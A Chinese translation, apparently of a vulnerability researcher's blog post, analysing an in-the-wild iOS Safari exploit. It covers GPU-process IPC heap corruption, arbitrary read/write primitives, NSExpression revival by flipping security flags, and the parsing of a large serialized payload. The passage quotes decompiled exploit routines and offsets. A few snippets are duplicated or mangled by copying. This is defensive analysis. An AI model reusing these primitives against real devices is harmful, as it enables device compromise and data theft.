当CA::CG::Queue::alloc尝试从损坏的QueueSlab进行分配时,它会看到slab声称剩余0xffff字节的空间,因此继续按照end指针跟踪,写入0x10字节的标头到缓冲区,然后返回end指针加上0x10。这会导致返回一个值,该值指向WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current全局下方0x78字节,该计数器用于生成新的标识符。

然后,draw_image将此分配作为第一个参数传递给CA::CG::DrawImage::DrawImage(最后一个参数是cachedImage指针):

int64 CA::CG::DrawImage::DrawImage(
  int64 slab_buf,
  int64 a2,
  int64 a3,
  int64 a4,
  int64 a5,
  OWORD *a6,
  CGImage *img)
{
...
  (slab_buf + 0x78) = CGImageRetain(img);

DrawImage将指向cachedImage对象的指针写入了0x78的位置,这刚好与WTF::ObjectIdentifierBase::generateIdentifierInternal(void)::current重叠。这导致将::current单调计数器的当前值替换为缓存的NativeImage对象的地址。

IPC 4 - 创建CDM

这一部分的最后一步是调用任何IPC,这会导致GPU进程使用generateIdentifierInternal分配一个新的标识符:

interesting_identifier = IPC_RemoteCDMFactoryProxy_CreateCDM();

如果新标识符大于0x10000,它们会掩盖掉后4位,成功地泄露了缓存的NativeImage对象的远程地址。

Over and over - arbitrary read

下一阶段是构建任意读取原语,这次使用 5 个 IPC:

  1. MapAsync - 设置溢出的目标指针
  2. 取消映射 - 执行溢出,破坏队列元数据
  3. SetCTM - 设置参数
  4. FillRect - 通过受控指针写入参数
  5. CreateRecorder - 返回从任意地址读取的数据

任意读取 IPC 1 和 2:MapAsync/Unmap

MapAsync和Unmap用于破坏同一个QueueSlab对象,但这次队列slab缓冲指针被破坏,指向以下符号的下面 0x18 字节:

WebCore::MediaRecorderPrivateWriter::mimeType(void)const::$_11::operator() const(void)::impl

具体来说,该符号是由此函数返回的字符串常量 StringImpl 对象,该函数返回"audio/mp4"字符串的引用:

const String& MediaRecorderPrivateWriter::mimeType() const {
  static NeverDestroyed<const String> audioMP4(MAKE_STATIC_STRING_IMPL("audio/mp4"));
  static NeverDestroyed<const String> videoMP4(MAKE_STATIC_STRING_IMPL("video/mp4"));
  return m_hasVideo ? videoMP4 : audioMP4;
}

具体来说,这是一个StringImplShape对象,其布局如下:

class STRING_IMPL_ALIGNMENT StringImplShape {
    unsigned m_refCount;
    unsigned m_length;
    union {
        const LChar* m_data8;
        const UChar* m_data16;
        const char* m_data8Char;
        const char16_t* m_data16Char;
    };
    mutable unsigned m_hashAndFlags;
};

任意读取 IPC 3:SetCTM

下一个IPC是RemoteDisplayListRecorder::SetCTM:

messages -> RemoteDisplayListRecorder NotRefCounted Stream {
    ...
    SetCTM(WebCore::AffineTransform ctm) StreamBatched
}

CTM是Current Transform Matrix,作为参数传递的WebCore::AffineTransform对象是一个定义仿射变换的简单结构,具有6个 double值。

漏洞利用IPC包装函数除了图像缓冲区ID之外,还需要两个参数。从周围上下文来看,它们必须是用于任意读取的长度和指针:

IPC_RemoteDisplayListRecorder_SetCTM(
  candidate_corrupted_target_image_buffer_id,
  (read_this_much << 32) | 0x100,
  read_from_here);

包装器将这两个 64 位值作为 IPC 中的前两个“double”传递。在接收器端,将这些仿射变换参数存储到 CGContext 的 CGState 对象中:

void setCTM(const WebCore::AffineTransform& transform) final
{
  GraphicsContextCG::setCTM(
    m_inverseImmutableBaseTransform * transform);
}

void GraphicsContextCG::setCTM(const AffineTransform& transform)
{
  CGContextSetCTM(platformContext(), transform);
  m_data->setCTM(transform);
  m_data->m_userToDeviceTransformKnownToBeIdentity = false;
}

反向查找 CGContextSetCTM,发现变换只是存储在 CGContext 的 CGGState 对象中 +0x18 偏移位置(在 CGContext 的 +0x60 处)的 0x30 字节字段中:

assemblyCopy code188B55CD4  EXPORT _CGContextSetCTM                      
188B55CD4  MOV   X8, X0
188B55CD8  CBZ   X0, loc_188B55D0C
188B55CDC  LDR   W9, [X8,#0x10]
188B55CE0  MOV   W10, #'CTXT'
188B55CE8  CMP   W9, W10
188B55CEC  B.NE  loc_188B55D0C
188B55CF0  LDR   X8, [X8,#0x60]
188B55CF4  LDP   Q0, Q1, [X1]
188B55CF8  LDR   Q2, [X1,#0x20]
188B55CFC  STUR  Q2, [X8,#0x38]
188B55D00  STUR  Q1, [X8,#0x28]
188B55D04  STUR  Q0, [X8,#0x18]
188B55D08  RET

任意读取 IPC 4:FillRect

此 IPC 采用了与之前讨论的 DrawNativeImage IPC 类似的路径。它从损坏的 QueueSlab 中分配一个新缓冲区,但这次由 CA::CG::Queue::alloc返回的值现在指向了"audio/mp4" StringImpl下面 8 字节。FillRect 最终达到以下代码:

CA::CG::DrawOp::DrawOp(slab_ptr, a1, a3, CGGState, a5, v24);
...
CTM_2 = (_OWORD *)CGGStateGetCTM_2(CGGGState);
v13 = CTM_2[1];
v12 = CTM_2[2];
*(_OWORD *)(slab_ptr + 8) = *CTM_2;
*(_OWORD *)(slab_ptr + 0x18) = v13;
*(_OWORD *)(slab_ptr + 0x28) = v12;

这只是直接将6个CTM值复制到被损坏的QueueSlab返回的分配中的+8偏移位置,该分配与StringImpl完全重叠,从而损坏了字符串长度和缓冲区指针。

任意读取 IPC 5: CreateRecorder

messages -> RemoteMediaRecorderManager NotRefCounted {
  CreateRecorder(
    WebKit::MediaRecorderIdentifier id,
    bool hasAudio,
    bool hasVideo,
    struct WebCore::MediaRecorderPrivateOptions options)
      ->
    ( std::optional<WebCore::ExceptionData> creationError,
      String mimeType,
      unsigned audioBitRate,
      unsigned videoBitRate)
  ReleaseRecorder(WebKit::MediaRecorderIdentifier id)
}

CreateRecorder IPC 返回了 mimeType 字符串的内容, FillRect已将其 破坏为指向任意位置,从而产生任意读取原语。

如何读取数据

回想一下,cacheNativeImage 操作是在通过 RemoteDevice::CreateBuffer IPC 创建 400 个 RemoteBuffer 对象时执行的。

需要注意的是,之前(用于 MapAsync/Unmap 损坏)RemoteBuffer的的后备缓冲区页面是修饰目标 ,但这不适用于内存泄露。这次的目标是 AGXG15FamilyBuffer 对象,它是指向这些支持页面的包装对象。这些对象也是在RemoteDevice::CreateBuffer IPC 调用期间分配的。至关重要的是,这些包装对象是由默认的malloc实现(使用默认的“可伸缩”区域)分配的。@elvanderb 在他的 "Heapple Pie" 演示 中详细介绍了这个堆分配器的操作。只要目标分配大小的空闲列表为空,该区域就会向上分配,这使得NativeImage和AGXG15FamilyBuffer对象在虚拟内存中可能会非常接近。

他们使用任意读取原语从GPU进程中读取3页数据,从缓存的NativeImage的地址开始,并搜索指向 AGXG15FamilyBuffer Objective-C isa 指针的指针(掩盖任何 PAC 位):

for ( ii = 0; ii < 0x1800; ++ii ) {
  if ( ((leaker_buffer_contents[ii] >> 8) & 0xFFFFFFFF0LL) ==
    (AGXMetalG15::_OBJC_CLASS___AGXG15FamilyBuffer & 0xFFFFFFFF0LL) )
...

如何写入数据

如果搜索成功,他们现在知道 AGXG15FamilyBuffer 对象的绝对地址,但此时他们不知道它对应的 RemoteBuffer 对象。

他们使用与任意读取设置相同的Map/Unmap/SetCTM/FillRect IPC,将 WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current(之前看到的单调唯一 ID 计数器)的地址写入到 AGXG15FamilyBuffer的+0x98字段中。

查看 AGXG15FamilyBuffer 的类层次结构(AGXG15FamilyBuffer : AGXBuffer : IOGPUMetalBuffer : IOGPUMetalResource : _MTLResource : _MTLObjectWithLabel : NSObject),我们发现 +0x98 是 IOGPUMetalResource 的 virtualAddress 属性:

@interface IOGPUMetalResource : _MTLResource <MTLResourceSPI> {
    IOGPUMetalResource* _res;
    IOGPUMetalResource* next;
    IOGPUMetalResource* prev;
    unsigned long long uniqueId;
}
@property (readonly) _IOGPUResource* resourceRef;
@property (nonatomic,readonly) void* virtualAddress;
@property (nonatomic,readonly) unsigned long long gpuAddress;
@property (nonatomic,readonly) unsigned resourceID;
@property (nonatomic,readonly) unsigned long long resourceSize;
@property (readonly) unsigned long long cpuCacheMode;

我之前提到,MapAsync/Unmap bad memcpy 的目标地址是从一个名为 contents 的缓冲区(而不是 virtualAddress:)属性中计算的

return static_cast<char*>(m_buffer.contents) + offset;

Objective-C 中的点语法是调用访问器方法的语法,而 contents 访问器直接调用了 virtualAddress 访问器,后者返回 virtualAddress 字段:

void* -[IOGPUMetalBuffer contents]
  B               _objc_msgSend$virtualAddress_1

[IOGPUMetalResource virtualAddress]

ADRP   X8, #_OBJC_IVAR_$_IOGPUMetalResource._res@PAGE
LDRSW  X8, [X8,#_OBJC_IVAR_$_IOGPUMetalResource._res@PAGEOFF] ; 0x18
ADD    X8, X0, X8
LDR    X0, [X8,#0x80]
RET

然后,他们循环遍历每个候选 RemoteBuffer对象,映射开始,然后用8字节缓冲区取消映射,从而导致通过可能被损坏的 IOGPUMetalResource::virtualAddress字段写入一个标志值:

for ( jj = 200; jj < 400; ++jj )
{
  sentinel = 0x3A30DD9DLL;
  IPC_RemoteBuffer_MapAsync(remote_device_after_base_id + jj, 0LL, 0LL);
  IPC_RemoteBuffer_Unmap(remote_device_after_base_id + jj, &sentinel, 8LL);
  semaphore_signal(semaphore_a);
  CDM = IPC_RemoteCDMFactoryProxy_CreateCDM();
  if ( CDM >= 0x3A30DD9E && CDM <= 0x3A30DF65 ) {
    ...

在每次写入后,他们请求一个新的 CDM,并查看是否获得了与他们设置的标志值相近资源的 ID,如果是,那么他们找到了一个其 virtualAddress 可完全控制的 RemoteBuffer 对象。

存储这个 ID,并使用6 个 IPC构建最终的任意写入原语 :

arbitrary_write(u64 ptr, u64 value_ptr, u64 size) {
  IPC_RemoteBuffer_MapAsync(
   remote_device_buffer_id_base + index_of_corruptor,
   0x4000LL, 0LL);

  wrap_remote_buffer_unmap(
    remote_device_buffer_id_base + index_of_corruptor,
    agxg15familybuffer_plus_0x80);

  IPC_RemoteDisplayListRecorder_SetCTM(
    candidate_corrupted_target_image_buffer_id,
    ptr,
    0LL);

  IPC_RemoteDisplayListRecorder_FillRect(
    candidate_corrupted_target_image_buffer_id);

  IPC_RemoteBuffer_MapAsync(
    device_id_with_corrupted_backing_buffer_ptr, 0LL, 0LL);

  IPC_RemoteBuffer_Unmap(
    device_id_with_corrupted_backing_buffer_ptr, value_ptr, size);
}

第一个 MapAsync/Unmap 操作破坏了原始的 QueueSlab,将缓冲区指针指向 AGXG15FamilyBuffer 的 virtualAddress 字段下方 0x18 字节的位置。

然后,SetCTM 和 FillRect 导致通过损坏的QueueSlab分配写入任意目标指针值,以替换 AGXG15FamilyBuffer 的 virtualAddress 成员。

最终的 MapAsync/Unmap 对受损的 virtualAddress 字段进行写入,产生不会损坏任何周围内存的任意写入原语。

缓解措施

此时,攻击者已经拥有了任意读写的基本原语。但尽管如此,这次攻击最引人入胜的部分尚未到来。

攻击者不仅仅是在寻找利用这个漏洞,他们真正希望尽量降低成功利用尽可能多的完整攻击链的总成本,以此来降低边际成本。这通常是使用允许跨漏洞利用代码重用的自定义框架来完成的。在这种情况下,目标是使用 GPU 进程才能访问的某些资源(IOKit 用户客户端),但这是使用自定义框架以非常通用的方式完成的,只需要启动一些任意写入即可。

NSArchiver

我去年写过的 FORCEDENTRY 沙箱逃逸漏洞 利用了逻辑漏洞,以在沙箱边界上评估 NSExpression。

作为修复该问题的一部分,苹果引入了各种硬化措施,旨在限制 NSExpressions 的计算能力以及用于在对反序列化期间评估 NSExpression 的特定途径。

然而,实际上从未删除这个功能。相反,它已被弃用并被隐藏在各种标志后面。这可能从某些方面锁定了攻击面;但如果有足够强大的初始原语(如任意读取/写入),那么这些标志可以被简单地翻转,恢复 NSExpression 基于脚本的全部功能。这正是这次攻击继续执行的内容

Flipping bits

利用任意读写,他们改变了一些全局变量,如__NSCoderEnforceFirstPartySecurityRules,以禁用各种安全检查。

它们还将NSSharedKeySet的实现类交换为PrototypeTools::_OBJC_CLASS___PTModule 并交换NSKeyPathSpecifierExpression 和NSFunctionExpression classRef以相互指向。

强制进入

在本文中,我们已经看到 Safari 具有自己的 IPC 机制,使用自定义序列化,而不是使用 XPC、MIG、protobuf、Mojo 或其他数十种序列化选项。但是否真的所有东西都会使用他们自己的代码进行序列化呢?

正如我们在 ForcedEntry 的分析中观察到的,通常情况下,一行看似简单的代码会开启一个巨大的额外攻击面。在 ForcedEntry 中,这是一个看似简单的尝试编辑 GIF 的循环计数。在这里,有一段简单的代码开启了一个可能意想不到的巨大的额外攻击面:NSKeyedArchiver。事实证明,可以使用 NSKeyedArchiver 对象在 Safari IPC 边界上进行序列化和反序列化,具体使用以下 IPC:

objcCopy codeRedirectReceived(
   WebKit::RemoteMediaResourceIdentifier identifier,
   WebCore::ResourceRequest request,
   WebCore::ResourceResponse response)
-> (WebCore::ResourceRequest returnRequest)

这个 IPC 需要两个参数:

  1. WebCore::ResourceRequest request
  2. WebCore::ResourceResponse response

ResourceRequest 的反序列化代码:

bool ArgumentCoder<ResourceRequest>::decode(
  Decoder& decoder,
  ResourceRequest& resourceRequest)
{
  bool hasPlatformData;
  if (!decoder.decode(hasPlatformData))
    return false;

  bool decodeSuccess =
    hasPlatformData ?
      decodePlatformData(decoder, resourceRequest)
    :
      resourceRequest.decodeWithoutPlatformData(decoder);
}

这一步会调用以下代码:

bool ArgumentCoder<WebCore::ResourceRequest>::decodePlatformData(
  Decoder& decoder,
  WebCore::ResourceRequest& resourceRequest)
{
  bool requestIsPresent;
  if (!decoder.decode(requestIsPresent))
    return false;

  if (!requestIsPresent) {
    resourceRequest = WebCore::ResourceRequest();
    return true;
  }

  auto request = IPC::decode<NSURLRequest>(
                   decoder, NSURLRequest.class);

最后一行解码 request 看起来与其他不太一样 ,不是调用 detector.decoder() 通过引用传递字段进行解码,而是在模板调用中显式键入字段,这采用不同的解码器路径:

template<typename T, typename>
std::optional<RetainPtr<T>> decode(
  Decoder& decoder, Class allowedClass)
{
    return decode<T>(decoder, allowedClass ?
                              @[ allowedClass ] : @[ ]);
}

@[] 语法定义了一个 Objective-C 数组文字,因此这是创建一个具有单个条目的数组。

这然后调用:

template<typename T, typename>
std.optional<RetainPtr<T>> decode(
  Decoder& decoder, NSArray<Class> *allowedClasses)
{
  auto result = decodeObject(decoder, allowedClasses);
  if (!result)
    return std.nullopt;
  ASSERT(!*result ||
         isObjectClassAllowed((*result).get(), allowedClasses));
  return { *result };
}

这进一步调用了一个不同的参数解码器实现,不同于我们之前看到的:

std.optional<RetainPtr<id>> decodeObject(
  Decoder& decoder,
  NSArray<Class> *allowedClasses)
{
  bool isNull;
  if (!decoder.decode(isNull))
    return std.nullopt;
  if (isNull)
    return { nullptr };

  NSType type;
  if (!decoder.decode(type))
    return std.nullopt;

在这种情况下,与其事先知道要解码的类型,他们从消息中解码一个类型 dword,并选择反序列化器,不是基于他们期望的类型,而是基于消息声称包含的类型:

switch (type) {
  case NSType::Array:
    return decodeArrayInternal(decoder, allowedClasses);
  case NSType::Color:
    return decodeColorInternal(decoder);
  case NSType::Dictionary:
    return decodeDictionaryInternal(decoder, allowedClasses);
  case NSType::Font:
    return decodeFontInternal(decoder);
  case NSType::Number:
    return decodeNumberInternal(decoder);
  case NSType::SecureCoding:
    return decodeSecureCodingInternal(decoder, allowedClasses);
  case NSType::String:
    return decodeStringInternal(decoder);
  case NSType::Date:
    return decodeDateInternal(decoder);
  case NSType::Data:
    return decodeDataInternal(decoder);
  case NSType::URL:
    return decodeURLInternal(decoder);
  case NSType::CF:
    return decodeCFInternal(decoder);
  case NSType::Unknown:
    break;
}

在这种情况下,他们选择了类型 7,对应于 NSType::SecureCoding,通过调用 decodeSecureCodingInternal 来解码,它使用来自 IPC 消息的数据初始化了一个 NSKeyedUnarchiver:

auto unarchiver =
  adoptNS([[NSKeyedUnarchiver alloc]
           initForReadingFromData:
             bridge_cast(data.get()) error:nullptr]);

代码为允许解码的类列表添加了一些类:

auto allowedClassSet =
  adoptNS([[NSMutableSet alloc] initWithArray:allowedClasses]);

[allowedClassSet addObject:WKSecureCodingURLWrapper.class];
[allowedClassSet addObject:WKSecureCodingCGColorWrapper.class];

if ([allowedClasses containsObject:NSAttributedString.class]) {
  [allowedClassSet
    unionSet:NSAttributedString.allowedSecureCodingClasses];
}

然后取消归档该对象:

id result =
  [unarchiver decodeObjectOfClasses:
                allowedClassSet.get()
              forKey:
                NSKeyedArchiveRootObjectKey];

攻击者发送的序列化根对象是 WKSecureCodingURLWrapper。因为它已被明确添加到上面的允许列表中,反序列化此对象是允许的。下面是 WKSecureCodingURLWrapper::initWithCoder 的实现:

- (instancetype)initWithCoder:(NSCoder *)coder
{
  auto selfPtr = adoptNS([super initWithString:@""]);
  if (!selfPtr)
    return nil;

  BOOL hasBaseURL;
  [coder decodeValueOfObjCType:"c"
         at:&has
\- (instancetype)initWithCoder:(NSCoder *)coder
{
  auto selfPtr = adoptNS([super initWithString:@""]);
  if (!selfPtr)
    return nil;

  BOOL hasBaseURL;
  [coder decodeValueOfObjCType:"c"
         at:&hasBaseURL
         size:sizeof(hasBaseURL)];

  RetainPtr<NSURL> baseURL;
  if (hasBaseURL)
    baseURL =
     (NSURL *)[coder decodeObjectOfClass:NSURL.class
                     forKey:baseURLKey];
...
}

这接着解码一个 NSURL,其中包含一个名为 "NS.relative" 的 NSString 成员。攻击对象传递了一个 NSString 子类 _NSLocalizedString,该子类设置了以下列表:

  - v10 = objc_opt_class_385(&OBJC_CLASS___NSDictionary);
  - v11 = objc_opt_class_385(&OBJC_CLASS___NSArray);
  - v12 = objc_opt_class_385(&OBJC_CLASS___NSNumber);
  - v13 = objc_opt_class_385(&OBJC_CLASS___NSString);
  - v14 = objc_opt_class_385(&OBJC_CLASS___NSDate);
  - v15 = objc_opt_class_385(&OBJC_CLASS___NSData);
  - v17 = objc_msgSend_setWithObjects__0(&OBJC_CLASS___NSSet, v16, v10, v11, v12, v13, v14, v15, 0LL);
  - v20 = objc_msgSend_decodeObjectOfClasses_forKey__0(a3, v18, v17, CFSTR("NS.configDict"));

然后,他们反序列化了一个 NSSharedKeyDictionary(它是 NSDictionary 的子类):

[NSSharedKeyDictionary initWithCoder:]

接下来,他们反序列化了一个 NSSharedKeySet 并将其添加到允许列表:

v6 = objc_opt_class_388(&OBJC_CLASS___NSSharedKeySet);
v11 = (__int64)objc_msgSend_decodeObjectOfClass_forKey__4(a3, v8, v6, CFSTR("NS.skkeyset"));

通过任意写操作,他们已经将 NSSharedKeySet 使用的实现类更改为 PrototypeTools::_OBJC_CLASS___PTModule。这意味着 实际上会在 PTModule 上调用initWithCoder。由于他们还翻转了所有相关的安全缓解位,因此取消归档 PTModule 将产生与在 ForcedEntry 中评估 NSFunctionExpression 相同的副作用。不同之处在于,这次的序列化 NSFunctionExpression 的大小不再是几千字节,而是半兆字节。

第 II 部分 - 数据

NSKeyedArchiver 对象被序列化为bplist 对象。从漏洞利用二进制文件中提取 bplist,我们可以看到它的大小达到了 437KB!首先运行strings 来了解可能发生的情况。我们预期在序列化的 NSFunctionExpression 中会看到:

- NSPredicateOperator_
- NSRightExpression_
- NSLeftExpression
- NSComparisonPredicate
- NSPredicate
- NSSelectorName
- NSOperand
- NSArguments
- NSFunctionExpression
- NSExpression
- NSConstantValue
- NSConstantValueExpression
- self
- NSCollection
- NSAggregateExpression

还有一些迹象表明他们可能在做一些更复杂的工作,比如执行任意系统调用:syscallInvocation

操作锁定:

os_unfair_lock_0x34
%os_unfair_lock_0x34InvocationInstance

创建线程:

- detachNewThreadWithBlock:_NSFunctionExpression
- detachNewThreadWithBlock:
- NSThread
- NSThread_detachNewThreadWithBlockInvocationInstance
- NSThread_detachNewThreadWithBlockInvocationInstanceIMP
- pthreadinvocation
- pthread____converted
- yWpthread
- pthread_nextinvocation
- pthread_next____converted

发送和接收 Mach 消息:

- mach_msg_sendInvocation
- mach_msg_receive____converted
- mach_make_memory_entryInvocation
- mach_make_memory_entry
- mach_make_memory_entryInvocationIMP

以及与 IOKit 交互:

- IOServiceMatchingInvocation
- IOServiceMatching
- IOServiceMatchingInvocationIMP

除了这些字符串外,还有三个相当大的 JavaScript 源代码块看起来相当可疑:

javascriptCopy codevar change_scribble = [.1, .1];
change_scribble[0] = .2;
change_scribble[1] = .3;
var scribble_element = [.1];
...

启动

上一次分析过一个类似的情况 ,我使用了 plutil 工具来将 bplist 转储为可读的形式。因此我能够手动重建序列化的对象。但这次情况不同:

bashCopy code$ plutil -p bplist_raw | wc -l
   58995

以下是几万行内容中的一小部分示例:

plaintextCopy code14319 => {
  "$class" =>
    <CFKeyedArchiverUID 0x600001b32f60 [0x7ff85d4017d0]>
      {value = 29}
  "NSConstantValue" =>
    <CFKeyedArchiverUID 0x600001b32f40 [0x7ff85d4017d0]>
      {value = 14320}
}

14320 => 2

14321 => {
  "$class" =>
    <CFKeyedArchiverUID 0x600001b32fe0 [0x7ff85d4017d0]>
      {value = 27}
  "NSArguments" =>
    <CFKeyedArchiverUID 0x600001b32fc0 [0x7ff85d4017d0]>
      {value = 14323}
  "NSOperand" =>
    <CFKeyedArchiverUID 0x600001b32fa0 [0x7ff85d4017d0]>
      {value = 14319}
  "NSSelectorName" =>
    <CFKeyedArchiverUID 0x600001b32f80 [0x7ff85d4017d0]>
      {value = 14322}
}

这里有几种可能的分析方法:可以简单地使用 NSKeyedUnarchiver 反序列化对象,然后查看会发生什么(可能使用 dtrace 钩住有趣的地方),但我不仅想知道这个序列化对象做什么 ,我还想知道它是如何运作的。

另一个选项是解析 plutil 的输出,这可能几乎与从头开始解析 bplist 一样多,因此我决定编写自己的bplist 和NSArchiver 解析器并从那里开始。

bplist

幸运的是,bplist 不是一个非常复杂的序列化格式,只需要大约一百行左右的代码来实现。此外,我不需要支持所有 bplist 功能,只需要支持单个序列化对象中使用的功能。

这篇博客文章 很好地概述了该格式,并链接到了包含定义格式的 CoreFoundation .c 文件

bplist 序列化对象分为 4 个部分:

  • 标头(header)
  • 对象(objects)
  • 偏移(offsets)
  • 尾部(trailer)

对象部分包含所有序列化对象,依次排列。偏移表包含每个对象在对象部分中的索引。复合对象(数组、集合和字典)可以通过索引引用偏移表中的其他对象。

bplist 仅支持一些内置类型:

null、bool、int、real、date、data、ascii 字符串、Unicode 字符串、uid、数组、集合和字典

每种类型的序列化形式都非常简单,在 CFBinaryPlist.c 中注释中清晰地进行了解释:

对象格式(标记字节,后跟一些情况下的附加信息)

null   0000 0000
bool   0000 1000           // false
bool   0000 1001           // true
fill   0000 1111           // fill byte
int    0001 nnnn ...       // # of bytes is 2^nnnn, big-endian bytes
real   0010 nnnn ...       // # of bytes is 2^nnnn, big-endian bytes
date   0011 0011 ...       // 8 byte float follows, big-endian bytes
data   0100 nnnn [int] ... // nnnn is number of bytes unless 1111 then int count follows, followed by bytes
string 0101 nnnn [int] ... // ASCII string, nnnn is # of chars, else 1111 then int count, then bytes
string 0110 nnnn [int] ... // Unicode string, nnnn is # of chars, else 1111 then int count, then big-endian 2-byte uint16_t
       0111 xxxx           // unused
uid    1000 nnnn ...       // nnnn+1 is # of bytes
       1001 xxxx           // unused
array  1010 nnnn [int] objref*         // nnnn is count, unless '1111', then int count follows
       1011 xxxx                       // unused
set    1100 nnnn [int] objref*         // nnnn is count, unless '1111', then int count follows
dict   1101 nnnn [int] keyref* objref* // nnnn is count, unless '1111', then int count follows
       1110 xxxx // unused
       1111 xxxx // unused

这是一种类型-长度-值编码,类型字段位于第一个字节的高半字节中。正确解码不同大小的变量有一些微妙之处,但 CF 代码中对此进行了很好的解释。keyref 和 objref是对最终反序列化对象数组的索引;bplist 标头定义了这些引用的大小(因此最多包含 256 个对象的小对象可以使用单个字节作为引用)。

解析 bplist 并将其打印出来后,得到的对象具有以下格式:

plaintextCopy codedict {
  ascii("$top"):
    dict {
      ascii("root"):
        uid(0x1)
    }

  ascii("$version"):
    int(0x186a0)

  ascii("$objects"):
    array [
      [+0]:
        ascii("$null")
      [+1]:
        dict {
          ascii("NS.relative"):
            uid(0x3)
          ascii("WK.baseURL"):
            uid(0x3)
          ascii("$0"):
            int(0xe)
          ascii("$class"):
            uid(0x2)
        }
      [+2]:
        dict {
          ascii("$classes"):
            array [
              [+0]:
                ascii("WKSecureCodingURLWrapper")
              [+1]:
                ascii("NSURL")
              [+2]:
                ascii("NSObject")
            ]
          ascii("$classname"):
            ascii("WKSecureCodingURLWrapper")
        }
...

此 bplist 中的顶层对象是一个字典,具有三个条目:

  • $version: int(100000)
  • $top: uid(1)
  • $objects: 一个包含字典的数组

这是 NSKeyedArchiver 的顶级格式。NSKeyedArchiver 中的间接引用是使用 uid 类型完成的,其中值是 $objects 数组中的整数索引(请注意,这是在 bplist 层上使用的额外一层间接引用,叠加在 bplist 层上使用的 keyref/objref 间接引用之上)。

objects 数组中的第二个条目。

在 NSKeyedArchiver 中编码的每个对象实际上由两个字典组成:一个定义其属性,一个定义其类。整理上面的示例(因为字典键都是 ASCII 字符串),第一个对象的属性字典如下:

plaintextCopy code{
  NS.relative : uid(0x3)
  WK.baseURL :  uid(0x3)
  $

$class告诉我们被序列化的对象的类型。它的值是uid(2), 这意味着我们需要返回到对象数组并在该索引处找到字典:

{
  $classname : "WKSecureCodingURLWrapper"
  $classes   : ["WKSecureCodingURLWrapper",
                "NSURL",
                "NSObject"]
}

除了告诉我们最终类(WKSecureCodingURLWrapper )之外,它还定义了继承层次结构。整个序列化对象由定义属性和类型的这两种类型的字典的相当大的图组成。

在这里看到WKSecureCodingURLWrapper应该不足为奇 ;我们在第一部分的末尾看到了它。

开始

由于我们有一个自定义解析器,因此可以开始转储对象图的各个部分来查找NSExpression。最终我们可以按照这些属性找到一个PTSection 对象数组,每个 PTSection 对象包含多个 PTRow 对象,每个 PTRow 对象都有一个 NSComparisonPredicate 形式的相关条件:

plaintextCopy codesections = follow(root_obj, ['NS.relative', 'NS.relative', 'NS.configDict', 'NS.skkeyset', 'components', 'NS.objects'])

每个 PTRow 包含一个要评估的谓词 ,最终有效负载的相关部分完全包含在四个 NSExpressions 中。

类型

仅有少数原始 NSExpression 类别对象用于构建对象图:

NSComparisonPredicate

  • NSLeftExpression
  • NSRightExpression
  • NSPredicateOperator

评估左侧和右侧,然后返回使用给定操作符比较它们的结果。

NSFunctionExpression

  • NSSelectorName
  • NSArguments
  • NSOperand

向操作对象发送提供的选择器,传递提供的参数,返回返回值。

NSConstantValueExpression

  • NSConstantValueClassName
  • NSConstantValue

常量值或 Class 对象

NSVariableAssignmentExpression

  • NSAssignmentVariable
  • NSSubexpression

评估 NSSubexpression 并将其值分配给命名的变量

NSVariableExpression

  • NSVariable

返回命名变量的值

NSCustomPredicateOperator

  • NSSelectorName

要调用作为比较运算符的选择器的名称

NSTernaryExpression

  • NSPredicate
  • NSTrueExpression
  • NSFalseExpression

评估谓词,然后根据谓词的值评估 true 或 false 分支。

E2BIG

问题在于对象图非常庞大,嵌套非常深。由于嵌套超过 40 层,尝试将图形简单转换为文本表示很快就变得难以理解。

制作此序列化对象的人实际上不太可能将整个有效负载编写为单个表达式。更有可能的是,他们使用了一些技巧和工具,将一系列连续的操作转换为单个语句。但要弄清楚这些技巧,我们仍然需要更好的方法来查看正在发生的情况。

使用DOT进行可视化

这个对象实际上是一个图形,DOT 是使用 graphviz 的图形描述语言,它是一个开源的图形绘制包,非常简单:

可以定义节点和边,然后将属性应用到它们:

使用自定义解析器,可以相对容易地发出整个 NSExpression 图的点表示。但当真正渲染它的时候,进展却相当缓慢。

在等待一夜没有成功后,决定换种方式。Graphviz 能够渲染具有数以万计节点的图形;可Graphviz不能以清晰的方式布局节点。

相关数据

一些专门为交互式探索大型数据集的工具可以在这里提供帮助。我将 .dot 文件加载到 Gephi 中,然后等待魔法的发生:

持续探究

默认布局似乎只是将所有节点均匀地放置在一个正方形中。但是,在左侧的布局菜单中,可以选择一些可能会给我们见解的布局。这是一个力导向布局,它强调高度连接的节点:

然后,开始调查哪些节点具有大的入度或出度,并弄清原因。例如,这里我们可以看到一个标签为 func:alloc 的节点具有巨大的入度。

尝试使用具有如此高入度的节点来布局图形只会导致混乱(并且可能是导致graphviz 工具速度减慢),因此我开始向自定义解析器添加 hack,以复制某些节点,同时保持表达式的语义尽量减少图中交叉边的数量。

在这个迭代过程中,我最终创建了本文开头所示的图形,只有少数高入度节点保留,其余的则干净地分成了不同的簇。

Flattening

尽管这在图中创建了大量额外的节点,但事实证明这使得 graphviz 更容易布局。它仍然无法处理整个图形,但我们现在可以将其分割成多个块,从而成功渲染到非常大的 SVG。切换回 graphviz 的好处是,我们可以渲染具有自定义节点和边标签的任意信息。例如,使用自定义形状原语使 NSFunctionExpression 参数的数组更加清晰:

在这里,我们可以看到嵌套的相关函数调用,其中明显的意图是将一个调用的返回值作为另一个调用的参数传递。从上面所示的图的右下角开始,可以向后工作(朝左上方),以重构伪 Objective-C 代码:

objectiveCopy code[writeInvocationName
  getArgument:
    [ [_NSPredicateUtils
        bitwiseOr: [NSNumber numberWithUnsignedLongLong:
                              [intermediateAddress: bytes]]
        with: @0x8000000000000000]] longLongValue ]
  atIndex: [@0x1 longLongValue] ]

现在还可以清楚地看到他们用来执行多个不相关语句的技巧:

通过将多个不相关的表达式作为参数传递给调用 [NSNull alloc] 的 NSFunctionExpression依次进行评估。这是一个不带参数且没有副作用的方法(NSNull 是一个单例,alloc 返回一个全局指针),但 NSFunctionExpression 评估仍然会评估所有提供的参数然后将它们丢弃。

他们构建了一个巨大的NSNull alloc节点树,使他们能够依次执行不相关的表达式。

连接节点

由于评估的参数的返回值被丢弃,他们使用 NSVariableExpressions 来在语义上连接语句。它们是NSDictionary对象的包装器 ,可用于存储命名值。使用自定义解析器,可以看到有 218 个不同的命名变量。有趣的是,尽管 Mach-O 被剥离,所有符号都被删除,但对于 NSVariables 来说情况并非如此 ,我们可以看到它们的全名。

bplist_to_objc

